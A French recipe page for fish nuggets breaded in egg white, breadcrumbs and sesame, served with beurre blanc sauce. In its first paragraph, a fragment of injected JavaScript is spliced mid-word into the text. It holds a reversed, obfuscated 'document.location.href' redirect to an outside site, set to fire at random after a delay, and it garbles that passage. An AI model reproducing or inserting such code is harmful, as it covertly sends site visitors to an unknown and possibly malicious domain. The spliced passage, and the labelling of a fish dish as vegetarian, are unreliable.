Nuggets de poisson
2018-01-02- Cuisine : Poissons
- Thématique : Végétarien
- Niveau : Facile
Découpez les filets de poisson en bâtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tonnets de 10 cm de long. Battez les blancs d’œufs avec une pincée de sel fin, poivrez.
Ingrédients
- Pour 6 personnes
- 2 filets de poisson
- 2 blancs d'œufs
- 50 g de chapelure
- 15 g de graines de sésame
- 1 cuillère à café de beurre ramolli
- Sel - Poivre
- 1 petit bol de sauce au beurre blanc
Préparation de la recette
Etape 1
Découpez les filets de poisson en bâtonnets de 10 cm de long. Battez les blancs d'œufs avec une pincée de sel fin, poivrez.
Etape 2
Dans une autre assiette creuse mélangez la chapelure et les graines de sésame.
Etape 3
Roulez les bâtonnets de poisson dans les blancs d'œufs, puis dans le mélange chapelure/ graines de sésame.
Etape 4
Dans une poêle avec l'huile d'olive, sur feu moyen, faites cuire les nuggets 3 minutes de chaque côté. Déposez les sur du papier absorbant
Etape 5
Dans un bain-marie chaud faites chauffer la sauce au beurre blanc. Dégustez les nuggets en les trempant dans la sauce au beurre blanc.
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